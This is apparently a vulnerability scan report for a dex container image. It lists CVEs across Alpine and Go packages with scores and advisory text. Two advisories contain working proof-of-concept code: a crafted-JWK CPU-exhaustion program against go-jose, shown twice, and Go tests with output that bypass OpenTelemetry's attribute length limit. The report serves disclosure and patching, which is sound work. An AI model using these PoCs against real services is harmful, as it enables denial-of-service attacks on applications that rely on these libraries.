Skip to main content
Testkube 2.15.0 is out! AI Governance, GitLab in AI Test Creation, an executions timeline, and much more! Read More

dex-2.46.1_linux_amd64

digestsha256:8b618974432fe8e1c6e801d8890387f74a21feb654562906e513a2bf032ec3fa
vulnerabilitiescritical: 1 high: 13 medium: 9 low: 1 unspecified: 1
platformlinux/amd64
size104 MB
packages271
critical: 1 high: 0 medium: 0 low: 0 zlib 1.3.2-r1 (apk)

pkg:apk/alpine/zlib@1.3.2-r1?arch=x86_64&distro=alpine-3.24.3
critical : CVE--2026--4738

Affected range<1.4-r0
Fixed version1.4-r0
EPSS Score0.269%
EPSS Percentile19th percentile
Description
critical: 0 high: 4 medium: 1 low: 0 libcrypto3 3.5.9-r0 (apk)

pkg:apk/alpine/libcrypto3@3.5.9-r0?arch=x86_64&distro=alpine-3.24.3&upstream=openssl
high : CVE--2026--95691

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.284%
EPSS Percentile21st percentile
Description

high : CVE--2026--95692

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.449%
EPSS Percentile40th percentile
Description

high : CVE--2026--88823

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.267%
EPSS Percentile19th percentile
Description

high : CVE--2026--107496

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.336%
EPSS Percentile27th percentile
Description

medium : CVE--2026--88822

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.259%
EPSS Percentile18th percentile
Description
critical: 0 high: 4 medium: 1 low: 0 libssl3 3.5.9-r0 (apk)

pkg:apk/alpine/libssl3@3.5.9-r0?arch=x86_64&distro=alpine-3.24.3&upstream=openssl
high : CVE--2026--95691

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.284%
EPSS Percentile21st percentile
Description

high : CVE--2026--95692

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.449%
EPSS Percentile40th percentile
Description

high : CVE--2026--88823

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.267%
EPSS Percentile19th percentile
Description

high : CVE--2026--107496

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.336%
EPSS Percentile27th percentile
Description

medium : CVE--2026--88822

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.259%
EPSS Percentile18th percentile
Description
critical: 0 high: 1 medium: 2 low: 0 github.com/go-jose/go-jose/v4 4.1.4 (golang)

pkg:golang/github.com/go-jose/go-jose/v4@4.1.4
high 7.5: CVE--2026--116587 Inefficient Algorithmic Complexity

Affected range<=4.1.5
Fixed version4.1.6
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.489%
EPSS Percentile43rd percentile
Description

Summary​

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details​

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept​

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
"encoding/base64"
"encoding/json"
"fmt"
"math/big"
"time"

"github.com/go-jose/go-jose/v4"
)

func main() {
// The RSA parameters can be complete junk. The CPU cost is in validating them.
primeBits := 16384
p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
p.SetBit(p, 0, 1)
n := new(big.Int).Lsh(big.NewInt(1), 2048)
e := big.NewInt(65537)
d := big.NewInt(3)
q := big.NewInt(3)

jwk := map[string]string{
"kty": "RSA",
"n": base64.RawURLEncoding.EncodeToString(n.Bytes()),
"e": base64.RawURLEncoding.EncodeToString(e.Bytes()),
"d": base64.RawURLEncoding.EncodeToString(d.Bytes()),
"p": base64.RawURLEncoding.EncodeToString(p.Bytes()),
"q": base64.RawURLEncoding.EncodeToString(q.Bytes()),
}

protected := map[string]any{
"alg": "RS256",
"jwk": jwk,
}
protJSON, _ := json.Marshal(protected)

jws := map[string]string{
"protected": base64.RawURLEncoding.EncodeToString(protJSON),
"payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
}
jwsJSON, _ := json.Marshal(jws)

start := time.Now()
_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
elapsed := time.Since(start)

fmt.Printf("prime bits: %d\n", primeBits)
fmt.Printf("parse time: %s\n", elapsed)
fmt.Printf("parse error: %v\n", err)
}

Impact​

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits​

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

medium 6.9: CVE--2026--116586 Uncontrolled Recursion

Affected range<4.1.5
Fixed version4.1.5
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.292%
EPSS Percentile22nd percentile
Description

Summary​

Parsing deeply nested JSON structures can hit Go's stack limit, causing the application to crash.

Note: this advisory is the same as https://github.com/go-jose/go-jose/security/advisories/GHSA-6mp9-8xrw-74r4.

Impact​

Denial of service vulnerability. Any application that parses untrusted JSON via go-jose is exposed.

Workarounds​

Reject large inputs before parsing them.

Acknowledgements​

Thanks to Dohyun Kim (@azza999), Joshua Rogers of AISLE Research, and Sueun Cho for alerting us to the need to patch this.

medium 6.9: CVE--2026--116585 Improper Validation of Array Index

Affected range<4.1.5
Fixed version4.1.5
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.264%
EPSS Percentile18th percentile
Description

Summary​

Decrypting a ciphertext with "A128CBC-HS256", "A192CBC-HS384", or "A256CBC-HS512" can result in a panic on untrusted input.

Note this advisory is the same as https://github.com/go-jose/go-jose/security/advisories/GHSA-6mp9-8xrw-74r4.

Details​

Insufficient validation of parameters can lead to attempting to index into an empty buffer. See https://github.com/go-jose/go-jose/pull/292.

Workarounds​

If the application does not require the CBC-HMAC modes for content encryption, and is using github.com/go-jose/go-jose/v4, do not include them in the list of ContentEncryption algorithms passed to ParseEncrypted / ParseEncryptedJSON / ParseEncryptedCompact.

Impact​

Denial of service vulnerability. Any application which decrypts untrusted ciphertexts with the indicated algorithms is affected.

Acknowledgements​

Thanks to Joshua Rogers of AISLE Research for reporting this problem.

critical: 0 high: 1 medium: 1 low: 0 golang.org/x/net 0.60.0 (golang)

pkg:golang/golang.org/x/net@0.60.0
high : CVE--2026--78661

Affected range<0.62.0
Fixed version0.62.0
EPSS Score0.409%
EPSS Percentile36th percentile
Description

When coalescing adjacent text nodes in addText and fosterParent, appending to an existing TextNode's Data via string concatenation (n.Data += text) reallocated and copied the accumulated string on every token. Inputs containing many short text runs separated by ignored end tags (such as "a") caused O(n^2) allocations and byte copies.

Accumulate coalesced text in per-node byte slices during parsing and materialize Data strings once at the end of parse.

medium : CVE--2026--97045

Affected range<0.62.0
Fixed version0.62.0
EPSS Score0.267%
EPSS Percentile19th percentile
Description

In childTextNodesAreLiteral, walking up the tree previously stopped at the nearest foreign ancestor once an HTML integration point was found. However, that integration point may itself be a descendant of an element that was foster-parented into a foreign namespace (such as or fostered under ), causing a parser to resolve the subtree in a different foreign namespace upon re-parsing the rendered output.

Continue walking the full ancestor chain and verify that every transition from a non-empty namespace occurs at an HTML integration point before emitting literal text.

critical: 0 high: 1 medium: 0 low: 0 github.com/go-jose/go-jose/v4 4.1.5 (golang)

pkg:golang/github.com/go-jose/go-jose/v4@4.1.5
high 7.5: CVE--2026--116587 Inefficient Algorithmic Complexity

Affected range<=4.1.5
Fixed version4.1.6
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.489%
EPSS Percentile43rd percentile
Description

Summary​

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details​

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept​

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
"encoding/base64"
"encoding/json"
"fmt"
"math/big"
"time"

"github.com/go-jose/go-jose/v4"
)

func main() {
// The RSA parameters can be complete junk. The CPU cost is in validating them.
primeBits := 16384
p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
p.SetBit(p, 0, 1)
n := new(big.Int).Lsh(big.NewInt(1), 2048)
e := big.NewInt(65537)
d := big.NewInt(3)
q := big.NewInt(3)

jwk := map[string]string{
"kty": "RSA",
"n": base64.RawURLEncoding.EncodeToString(n.Bytes()),
"e": base64.RawURLEncoding.EncodeToString(e.Bytes()),
"d": base64.RawURLEncoding.EncodeToString(d.Bytes()),
"p": base64.RawURLEncoding.EncodeToString(p.Bytes()),
"q": base64.RawURLEncoding.EncodeToString(q.Bytes()),
}

protected := map[string]any{
"alg": "RS256",
"jwk": jwk,
}
protJSON, _ := json.Marshal(protected)

jws := map[string]string{
"protected": base64.RawURLEncoding.EncodeToString(protJSON),
"payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
}
jwsJSON, _ := json.Marshal(jws)

start := time.Now()
_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
elapsed := time.Since(start)

fmt.Printf("prime bits: %d\n", primeBits)
fmt.Printf("parse time: %s\n", elapsed)
fmt.Printf("parse error: %v\n", err)
}

Impact​

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits​

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

critical: 0 high: 1 medium: 0 low: 0 musl-utils 1.2.6-r3 (apk)

pkg:apk/alpine/musl-utils@1.2.6-r3?arch=x86_64&distro=alpine-3.24.3&upstream=musl
high : CVE--2026--107891

Affected range<1.2.6-r6
Fixed version1.2.6-r6
EPSS Score0.549%
EPSS Percentile47th percentile
Description
critical: 0 high: 1 medium: 0 low: 0 musl 1.2.6-r3 (apk)

pkg:apk/alpine/musl@1.2.6-r3?arch=x86_64&distro=alpine-3.24.3
high : CVE--2026--107891

Affected range<1.2.6-r6
Fixed version1.2.6-r6
EPSS Score0.549%
EPSS Percentile47th percentile
Description
critical: 0 high: 0 medium: 1 low: 1 github.com/aws/aws-sdk-go 1.55.8 (golang)

pkg:golang/github.com/aws/aws-sdk-go@1.55.8
medium : CVE--2020--8911

Affected range>=0
Fixed versionNot Fixed
EPSS Score0.346%
EPSS Percentile29th percentile
Description

A padding oracle vulnerability exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. The SDK allows users to encrypt files with AES-CBC without computing a Message Authentication Code (MAC), which then allows an attacker who has write access to the target's S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file, they can reconstruct the plaintext with (on average) 128*length (plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

low : CVE--2020--8912

Affected range>=0
Fixed versionNot Fixed
EPSS Score0.231%
EPSS Percentile14th percentile
Description

A vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

critical: 0 high: 0 medium: 1 low: 0 go.opentelemetry.io/otel/sdk 1.45.0 (golang)

pkg:golang/go.opentelemetry.io/otel/sdk@1.45.0
medium 5.3: CVE--2026--128085 Incorrect Calculation of Multi-Byte String Length

Affected range
>=1.33.0
<1.47.0
Fixed version1.47.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.469%
EPSS Percentile41st percentile
Description

Summary​

The AttributeValueLengthLimit span/log-record limit can be bypassed entirely with attribute values that consist of valid U+FFFD (REPLACEMENT CHARACTER) runes. The counting-based truncation introduced by the fix for GHSA-p9f8-wvj8-2fg8 (commit e016a78c9, first released in v1.33.0) has an "optimistic" fast path that skips every U+FFFD without counting it and without falling back to the correct slow path. A value of 1000 U+FFFD runes (3000 bytes) is stored verbatim even with a limit of 5 characters (15 bytes). The same defect affects the attribute truncation paths in go.opentelemetry.io/otel/sdk/trace (sdk/internal/attrnorm), go.opentelemetry.io/otel/sdk/log (sdk/log/internal/attrnorm), and the auto-instrumentation tracer in go.opentelemetry.io/otel/trace (trace/auto.go, introduced in v1.35.0).

This is an incomplete-fix issue: it is a distinct defect in the replacement code that GHSA-p9f8-wvj8-2fg8 introduced, affecting exactly the versions that advisory says are fixed (>= v1.33.0). The original advisory covers only the pre-v1.33.0 code.

Details​

The shared truncation helper is generated from internal/shared/attrnorm/truncate.go.tmpl. In the v1.46.0 release, the generated copies are sdk/internal/attrnorm/truncate.go and sdk/log/internal/attrnorm/truncate.go (identical logic, different package names). The optimistic path (v1.46.0, sdk/internal/attrnorm/truncate.go:175-199) is:

// Optimistically, assume all valid UTF-8.
var b strings.Builder
count := 0
for i, c := range s {
if c != utf8.RuneError {
count++
if count > limit {
return s[:i]
}
continue
}
_, size := utf8.DecodeRuneInString(s[i:])
if size == 1 {
// invalid encoding: fall through to the correct slow path
...
break
}
}

range over a string yields utf8.RuneError both for invalid bytes (size 1) and for a legitimately encoded U+FFFD (size 3). Only the size-1 case enters the slow path. A valid U+FFFD rune is therefore neither counted nor truncating: the loop slides over it. Consequences:

  1. A value made only of valid U+FFFD runes never increments count, so no truncation ever triggers and the value is returned unchanged, whatever its length.
  2. In a mixed string, every U+FFFD contributes 3 bytes that are not counted, and the final return s[:i] keeps all previously skipped U+FFFD runes, so the retained size grows linearly with the number of U+FFFD runes and is not bounded by limit.

The OpenTelemetry specification states that truncation applies "counting any character in it as 1". A valid U+FFFD is one character and must count as 1; here it counts as 0. The regression test suite of the repository contains no U+FFFD case, which is why this went unnoticed.

Call chains (v1.46.0):

  • trace: span.SetAttributes -> sdk/trace/span.go (normAttr) -> attrnorm.Truncate -> sdk/internal/attrnorm/truncate.go (truncate)
  • log: Record.AddAttributes / SetAttributes -> sdk/log/record.go (attrnorm.TruncateValue) -> sdk/log/internal/attrnorm/truncate.go (truncate)

Deduplication: GHSA-p9f8-wvj8-2fg8 describes the pre-v1.33.0 helper (safeTruncateValidUTF8), which gave up truncating entirely for strings containing RuneError. The rewrite in e016a78c9 replaced that code; this report concerns the rewritten code, is present only in versions that the advisory lists as fixed, and no public issue or advisory describes it.

PoC​

Minimal reproduction with the published release (no repository checkout needed). Go 1.25+ is required (the release declares go 1.25.0; any recent toolchain auto-selects one).

Create a directory with these files.

go.mod (then run go mod tidy once to fill go.sum):

module otelpoc

go 1.25.0

require (
go.opentelemetry.io/otel v1.46.0
go.opentelemetry.io/otel/log v0.22.0
go.opentelemetry.io/otel/sdk v1.46.0
go.opentelemetry.io/otel/sdk/log v0.22.0
go.opentelemetry.io/otel/trace v1.46.0
)

otelgo_truncate_test.go:

package otelpoc

import (
"context"
"strings"
"testing"
"unicode/utf8"

"go.opentelemetry.io/otel/attribute"
sdktrace "go.opentelemetry.io/otel/sdk/trace"
"go.opentelemetry.io/otel/sdk/trace/tracetest"
"go.opentelemetry.io/otel/trace"
)

// limitsWithLen returns span limits with AttributeValueLengthLimit=limit and
// everything else unlimited, isolating the length-limit enforcement under test.
func limitsWithLen(limit int) sdktrace.SpanLimits {
lim := sdktrace.NewSpanLimits()
lim.AttributeValueLengthLimit = limit
lim.AttributeCountLimit = -1
lim.AttributePerEventCountLimit = -1
lim.AttributePerLinkCountLimit = -1
lim.EventCountLimit = -1
lim.LinkCountLimit = -1
return lim
}

func captureOneSpan(t *testing.T, limit int, attrs ...attribute.KeyValue) []attribute.KeyValue {
t.Helper()
sr := tracetest.NewSpanRecorder()
tp := sdktrace.NewTracerProvider(
sdktrace.WithSpanProcessor(sr),
sdktrace.WithSpanLimits(limitsWithLen(limit)),
)
defer func() { _ = tp.Shutdown(context.Background()) }()

tr := tp.Tracer("poc")
_, span := tr.Start(context.Background(), "op")
span.SetAttributes(attrs...)
span.End()

ended := sr.Ended()
if len(ended) != 1 {
t.Fatalf("expected 1 ended span, got %d", len(ended))
}
return ended[0].Attributes()
}

// TestOT001_FFFDOnlyStringBypassesTraceLengthLimit demonstrates that a string
// attribute composed of valid U+FFFD runes is stored completely untruncated
// although AttributeValueLengthLimit=5.
func TestOT001_FFFDOnlyStringBypassesTraceLengthLimit(t *testing.T) {
const limit = 5
val := strings.Repeat("\uFFFD", 1000) // 1000 chars, 3000 bytes

got := captureOneSpan(t, limit, attribute.String("k", val))
if len(got) != 1 {
t.Fatalf("expected 1 attribute, got %d", len(got))
}
stored := got[0].Value.AsString()
t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
utf8.RuneCountInString(val), len(val),
utf8.RuneCountInString(stored), len(stored), limit)
// Per OTel spec ("counting any character in it as 1") the stored value
// must be at most `limit` characters (<= 15 bytes for U+FFFD).
if maxBytes := 3 * limit; len(stored) > maxBytes {
t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)",
limit, len(stored), maxBytes)
}
}

// TestOT001_FFFDMixedStringOverRetains demonstrates that valid U+FFFD runes
// are not counted in the optimistic truncation path: every U+FFFD adds 3
// uncounted bytes to the retained value.
func TestOT001_FFFDMixedStringOverRetains(t *testing.T) {
const limit = 5
val := strings.Repeat("\uFFFD", 100) + strings.Repeat("A", 6) // 106 chars, 306 bytes

got := captureOneSpan(t, limit, attribute.String("k", val))
stored := got[0].Value.AsString()
t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
utf8.RuneCountInString(val), len(val),
utf8.RuneCountInString(stored), len(stored), limit)
if chars := utf8.RuneCountInString(stored); chars > limit {
t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d chars / %d bytes stored",
limit, chars, len(stored))
}
}

// TestOT001_ASCIIControl is the control case: plain ASCII over-limit values
// ARE truncated, proving the length limit is active in the same setup.
func TestOT001_ASCIIControl(t *testing.T) {
const limit = 5
val := strings.Repeat("B", 20)

got := captureOneSpan(t, limit, attribute.String("k", val))
stored := got[0].Value.AsString()
t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
utf8.RuneCountInString(val), len(val),
utf8.RuneCountInString(stored), len(stored), limit)
if len(stored) != limit {
t.Fatalf("control failed: ASCII value not truncated (stored %d bytes)", len(stored))
}
}

// TestOT001_EventAttributesNotLengthTruncated documents that span-event
// attributes bypass AttributeValueLengthLimit entirely (no attrnorm.Truncate
// call in recordingSpan.addEvent).
func TestOT001_EventAttributesNotLengthTruncated(t *testing.T) {
const limit = 5
val := strings.Repeat("C", 100)

sr := tracetest.NewSpanRecorder()
tp := sdktrace.NewTracerProvider(
sdktrace.WithSpanProcessor(sr),
sdktrace.WithSpanLimits(limitsWithLen(limit)),
)
defer func() { _ = tp.Shutdown(context.Background()) }()
tr := tp.Tracer("poc")
_, span := tr.Start(context.Background(), "op")
span.AddEvent("ev", trace.WithAttributes(attribute.String("k", val)))
span.End()

ended := sr.Ended()
events := ended[0].Events()
if len(events) != 1 {
t.Fatalf("expected 1 event, got %d", len(events))
}
stored := events[0].Attributes[0].Value.AsString()
t.Logf("event attribute input: %d bytes; stored: %d bytes; limit=%d", len(val), len(stored), limit)
if len(stored) > limit {
t.Logf("CONFIRMED: event attribute not length-truncated (%d bytes > limit %d)", len(stored), limit)
}
}

(The -run pattern above selects the three truncation cases plus the control; the fourth test function is included because it is part of the exact file that produced the output below - it compiles but is not selected by the pattern, and its output does not appear.)

otelgo_log_truncate_test.go:

package otelpoc

import (
"context"
"strings"
"sync"
"testing"
"unicode/utf8"

"go.opentelemetry.io/otel/attribute"
apisdk "go.opentelemetry.io/otel/log"
sdklog "go.opentelemetry.io/otel/sdk/log"
)

type captureProcessor struct {
mu sync.Mutex
recs []*sdklog.Record
}

func (c *captureProcessor) Enabled(context.Context, sdklog.EnabledParameters) bool { return true }

func (c *captureProcessor) OnEmit(_ context.Context, r *sdklog.Record) error {
c.mu.Lock()
defer c.mu.Unlock()
clone := r.Clone()
c.recs = append(c.recs, &clone)
return nil
}

func (c *captureProcessor) Shutdown(context.Context) error { return nil }
func (c *captureProcessor) ForceFlush(context.Context) error {
return nil
}

// TestOT001_FFFDOnlyStringBypassesLogLengthLimit repeats the bypass against
// the sdk/log attribute path (sdk/log/internal/attrnorm, same template).
func TestOT001_FFFDOnlyStringBypassesLogLengthLimit(t *testing.T) {
const limit = 5
cp := &captureProcessor{}
lp := sdklog.NewLoggerProvider(
sdklog.WithProcessor(cp),
sdklog.WithAttributeValueLengthLimit(limit),
)
defer func() { _ = lp.Shutdown(context.Background()) }()

logger := lp.Logger("poc")
var r apisdk.Record
r.SetSeverity(apisdk.SeverityInfo)
r.AddAttributes(attribute.String("k", strings.Repeat("\uFFFD", 1000)))
logger.Emit(context.Background(), r)

cp.mu.Lock()
if len(cp.recs) != 1 {
t.Fatalf("expected 1 record, got %d", len(cp.recs))
}
rec := cp.recs[0]
cp.mu.Unlock()

stored := ""
rec.WalkAttributes(func(kv attribute.KeyValue) bool {
if string(kv.Key) == "k" {
stored = kv.Value.AsString()
}
return true
})
t.Logf("sdk/log input: 1000 chars / 3000 bytes; stored: %d chars / %d bytes; limit=%d",
utf8.RuneCountInString(stored), len(stored), limit)
if maxBytes := 3 * limit; len(stored) > maxBytes {
t.Fatalf("BYPASS: sdk/log WithAttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)",
limit, len(stored), maxBytes)
}
}

Run:

go mod tidy
go test -count=1 -v -run "TestOT001_FFFDOnlyStringBypassesTraceLengthLimit|TestOT001_FFFDMixedStringOverRetains|TestOT001_ASCIIControl|TestOT001_FFFDOnlyStringBypassesLogLengthLimit" .

Expected output (captured against the published v1.46.0 modules; the three FAIL lines are the bypass being triggered and the PASS control proves the limit is active in the same setup; the only varying parts are the durations in parentheses and the total on the FAIL otelpoc summary line):

=== RUN TestOT001_FFFDOnlyStringBypassesLogLengthLimit
otelgo_log_truncate_test.go:66: sdk/log input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5
otelgo_log_truncate_test.go:69: BYPASS: sdk/log WithAttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)
--- FAIL: TestOT001_FFFDOnlyStringBypassesLogLengthLimit (0.00s)
=== RUN TestOT001_FFFDOnlyStringBypassesTraceLengthLimit
otelgo_truncate_test.go:61: input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5
otelgo_truncate_test.go:67: BYPASS: AttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)
--- FAIL: TestOT001_FFFDOnlyStringBypassesTraceLengthLimit (0.00s)
=== RUN TestOT001_FFFDMixedStringOverRetains
otelgo_truncate_test.go:81: input: 106 chars / 306 bytes; stored: 105 chars / 305 bytes; limit=5
otelgo_truncate_test.go:85: BYPASS: AttributeValueLengthLimit=5 but 105 chars / 305 bytes stored
--- FAIL: TestOT001_FFFDMixedStringOverRetains (0.00s)
=== RUN TestOT001_ASCIIControl
otelgo_truncate_test.go:98: input: 20 chars / 20 bytes; stored: 5 chars / 5 bytes; limit=5
--- PASS: TestOT001_ASCIIControl (0.00s)
FAIL
FAIL otelpoc 0.059s
FAIL

The mixed-string case stores 105 characters for a limit of 5: the 100 U+FFFD runes (300 uncounted bytes) are all retained, plus 5 of the 6 ASCII characters.

Impact​

Applications that enable AttributeValueLengthLimit (or WithAttributeValueLengthLimit for logs) to bound attribute memory do not get that bound for values containing valid U+FFFD runes. Span and log-record attribute values are routinely derived from untrusted input (HTTP headers, request bodies, database fields), so an attacker can inflate per-span memory retention linearly, defeating the memory protection the operator explicitly enabled and accumulating increased memory usage over the span/log pipeline. Confidentiality and integrity are not affected.

Suggested fix​

In the optimistic loop, count every rune of size > 1 (including the legitimately encoded U+FFFD) and only divert size-1 invalid bytes to the slow path. Add regression cases for: pure U+FFFD strings, U+FFFD-dominated mixed strings, and a truncation point landing after a U+FFFD (the current truncate_test.go has no U+FFFD case).

critical: 0 high: 0 medium: 1 low: 0 stdlib 1.27.3 (golang)

pkg:golang/stdlib@1.27.3
medium : CVE--2026--97054

Affected range
>=1.27.0-0
<1.27.4
Fixed version1.27.4
EPSS Score0.380%
EPSS Percentile33rd percentile
Description

For HTTP/1 servers, when MaxBytesReader's limit is exceeded, "Connection: close" header is automatically set without synchronization, which might race with another header being set explicitly in the server handler. As a result, an HTTP/1 server that utilizes MaxBytesReader or MaxBytesHandler can crash due to runtime panic if its handler reads the request body concurrently with writing the response header.

critical: 0 high: 0 medium: 1 low: 0 go.opentelemetry.io/otel/trace 1.45.0 (golang)

pkg:golang/go.opentelemetry.io/otel/trace@1.45.0
medium 5.3: CVE--2026--128085 Incorrect Calculation of Multi-Byte String Length

Affected range
>=1.35.0
<1.47.0
Fixed version1.47.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.469%
EPSS Percentile41st percentile
Description

Summary​

The AttributeValueLengthLimit span/log-record limit can be bypassed entirely with attribute values that consist of valid U+FFFD (REPLACEMENT CHARACTER) runes. The counting-based truncation introduced by the fix for GHSA-p9f8-wvj8-2fg8 (commit e016a78c9, first released in v1.33.0) has an "optimistic" fast path that skips every U+FFFD without counting it and without falling back to the correct slow path. A value of 1000 U+FFFD runes (3000 bytes) is stored verbatim even with a limit of 5 characters (15 bytes). The same defect affects the attribute truncation paths in go.opentelemetry.io/otel/sdk/trace (sdk/internal/attrnorm), go.opentelemetry.io/otel/sdk/log (sdk/log/internal/attrnorm), and the auto-instrumentation tracer in go.opentelemetry.io/otel/trace (trace/auto.go, introduced in v1.35.0).

This is an incomplete-fix issue: it is a distinct defect in the replacement code that GHSA-p9f8-wvj8-2fg8 introduced, affecting exactly the versions that advisory says are fixed (>= v1.33.0). The original advisory covers only the pre-v1.33.0 code.

Details​

The shared truncation helper is generated from internal/shared/attrnorm/truncate.go.tmpl. In the v1.46.0 release, the generated copies are sdk/internal/attrnorm/truncate.go and sdk/log/internal/attrnorm/truncate.go (identical logic, different package names). The optimistic path (v1.46.0, sdk/internal/attrnorm/truncate.go:175-199) is:

// Optimistically, assume all valid UTF-8.
var b strings.Builder
count := 0
for i, c := range s {
if c != utf8.RuneError {
count++
if count > limit {
return s[:i]
}
continue
}
_, size := utf8.DecodeRuneInString(s[i:])
if size == 1 {
// invalid encoding: fall through to the correct slow path
...
break
}
}

range over a string yields utf8.RuneError both for invalid bytes (size 1) and for a legitimately encoded U+FFFD (size 3). Only the size-1 case enters the slow path. A valid U+FFFD rune is therefore neither counted nor truncating: the loop slides over it. Consequences:

  1. A value made only of valid U+FFFD runes never increments count, so no truncation ever triggers and the value is returned unchanged, whatever its length.
  2. In a mixed string, every U+FFFD contributes 3 bytes that are not counted, and the final return s[:i] keeps all previously skipped U+FFFD runes, so the retained size grows linearly with the number of U+FFFD runes and is not bounded by limit.

The OpenTelemetry specification states that truncation applies "counting any character in it as 1". A valid U+FFFD is one character and must count as 1; here it counts as 0. The regression test suite of the repository contains no U+FFFD case, which is why this went unnoticed.

Call chains (v1.46.0):

  • trace: span.SetAttributes -> sdk/trace/span.go (normAttr) -> attrnorm.Truncate -> sdk/internal/attrnorm/truncate.go (truncate)
  • log: Record.AddAttributes / SetAttributes -> sdk/log/record.go (attrnorm.TruncateValue) -> sdk/log/internal/attrnorm/truncate.go (truncate)

Deduplication: GHSA-p9f8-wvj8-2fg8 describes the pre-v1.33.0 helper (safeTruncateValidUTF8), which gave up truncating entirely for strings containing RuneError. The rewrite in e016a78c9 replaced that code; this report concerns the rewritten code, is present only in versions that the advisory lists as fixed, and no public issue or advisory describes it.

PoC​

Minimal reproduction with the published release (no repository checkout needed). Go 1.25+ is required (the release declares go 1.25.0; any recent toolchain auto-selects one).

Create a directory with these files.

go.mod (then run go mod tidy once to fill go.sum):

module otelpoc

go 1.25.0

require (
go.opentelemetry.io/otel v1.46.0
go.opentelemetry.io/otel/log v0.22.0
go.opentelemetry.io/otel/sdk v1.46.0
go.opentelemetry.io/otel/sdk/log v0.22.0
go.opentelemetry.io/otel/trace v1.46.0
)

otelgo_truncate_test.go:

package otelpoc

import (
"context"
"strings"
"testing"
"unicode/utf8"

"go.opentelemetry.io/otel/attribute"
sdktrace "go.opentelemetry.io/otel/sdk/trace"
"go.opentelemetry.io/otel/sdk/trace/tracetest"
"go.opentelemetry.io/otel/trace"
)

// limitsWithLen returns span limits with AttributeValueLengthLimit=limit and
// everything else unlimited, isolating the length-limit enforcement under test.
func limitsWithLen(limit int) sdktrace.SpanLimits {
lim := sdktrace.NewSpanLimits()
lim.AttributeValueLengthLimit = limit
lim.AttributeCountLimit = -1
lim.AttributePerEventCountLimit = -1
